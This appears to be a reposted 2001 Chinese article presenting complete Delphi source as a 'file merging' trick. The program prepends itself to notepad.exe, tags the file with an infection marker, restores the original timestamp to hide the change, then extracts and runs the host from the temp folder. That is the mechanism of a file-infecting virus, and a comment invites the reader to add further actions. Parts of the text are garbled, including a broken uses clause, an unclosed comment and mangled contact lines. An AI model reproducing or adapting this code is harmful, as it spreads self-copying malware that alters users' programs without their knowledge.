檔案合併新思路(附完整DELPHI程式碼) (轉)

檔案合併新思路(附完整DELPHI程式碼) (轉)[@more@]

  合併新思路
  (襄樊 官本和 2001.9.28)

program exe2;

uses
  classes,
  Tlhelp32,
  ,
  SysUtils;

{$R *.RES}
var
  lppe:TProcessEntry32;
  found:boolean;
  handle:THandle;
  ProcessStr,ExeName:string;
  WinDir:pchar;
const
  MySize=64000; {根據編譯或後的檔案大小進行修改}

procedure copy2(s:string);
var
  s1,s2:TMemoryStream;
  files2:TFilestream;
  ch:array[0..3] of char;
  ss:string;
  filetime,fhandle:integer;
begin
  {若檔案s不存在}
  if FileExists(s)=False then exit;
  try
  {判斷檔案s中有沒有特殊標記。若有，表示已經合併過
  在本編譯或壓縮後，用十六進位制進行修改，在偏移200處加入標記'IMOK'
  用de也可進行修改(對exe檔案，要先更改EXE副檔名)。例:
  -e 1C8
  127D:01C8 00._   ......
  -w   files2:=TFilestream.Create(s,fmopenread);
  files2.Position:=200;
  files2.Read(ch,4);
  ss:=copy(ch,1,4);
  files2.Free;
  if ss='IMOK' then exit;
  {將本檔案與檔案s合併 本檔案+s=s}
  s2:=TMemoryStream.Create;
  s2.loadfromfile(ExeName);
  s1:=TMemoryStream.Create;
  s1.copyfrom(s2,MySize);
  s2.clear;
  s2.loadfromfile(s);
  s1.seek(s1.size,soFromBeginning);
  s1.copyfrom(s2,s2.size);
  s2.free;
  {得到檔案s的日期}
  fhandle:=FileOpen(s, fmOpenread);
  filetime:=filegetdate(fhandle);
  fileclose(fhandle);
  s1.SaveToFile(s);
  {恢復檔案s的日期}
  fhandle:=FileOpen(s, fmOpenwrite);
  filesetdate(fhandle,filetime);
  fileclose(fhandle);
  s1.free;
  except end;
end;

procedure CreateFileAndRun;
var
  s1,s2:TMemoryStream;
  TempDir:pchar;
  cmdstr:string;
  a:integer;
Begin
  s1:=TMemoryStream.Create;
  s1.loadfromfile(ExeName);
  if s1.Size=MySize then
  begin
  s1.Free;
  exit;
  end;
  s1.seek(MySize,soFromBeginning);
  s2:=TMemoryStream.Create;
  s2.copyfrom(s1,s1.Size-MySize);
  GetMem(TempDir,255);
  GetTempPath(255,TempDir);
  s2.SaveToFile(TempDir+''+ExtractFileName(ExeName));
  cmdstr:='';
  a:=1;
  while ParamStr(a)<>'' do begin
  cmdstr:=cmdstr+ParamStr(a)+' ';
  inc(a);
  end;
  winexec(pchar(TempDir+''+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW);
  freemem(TempDir);
  s2.free;
  s1.free;
end;

begin
  GetMem(WinDir,255);
  GetWindowsDirectory(WinDir,255);
  ExeName:=ParamStr(0);
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  found:=Process32First(handle,lppe);
  ProcessStr:='';
  while found do
  begin
  ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有程式}
  found:=Process32Next(handle,lppe);
  end;
  if pos(WinDir+'notepad.exe',ProcessStr)=0 then
  begin
  copy2(WinDir+'notepad.exe');
  end;
  {其它需要合併的檔案
  if pos(...,ProcessStr)=0 then
  begin
  copy2(...);
  end;
  ...
  }
  freemem(WinDir);
  {
  你想用這個程式乾點其它的什麼...
  }
  CreateFileAndRun;{釋放檔案並帶引數執行}
end.

{
E-: .com.cn">guanbenhe@peoplemail.com.cn
  21cn@sohu.com">delphi21cn@sohu.com
homepage: ">
}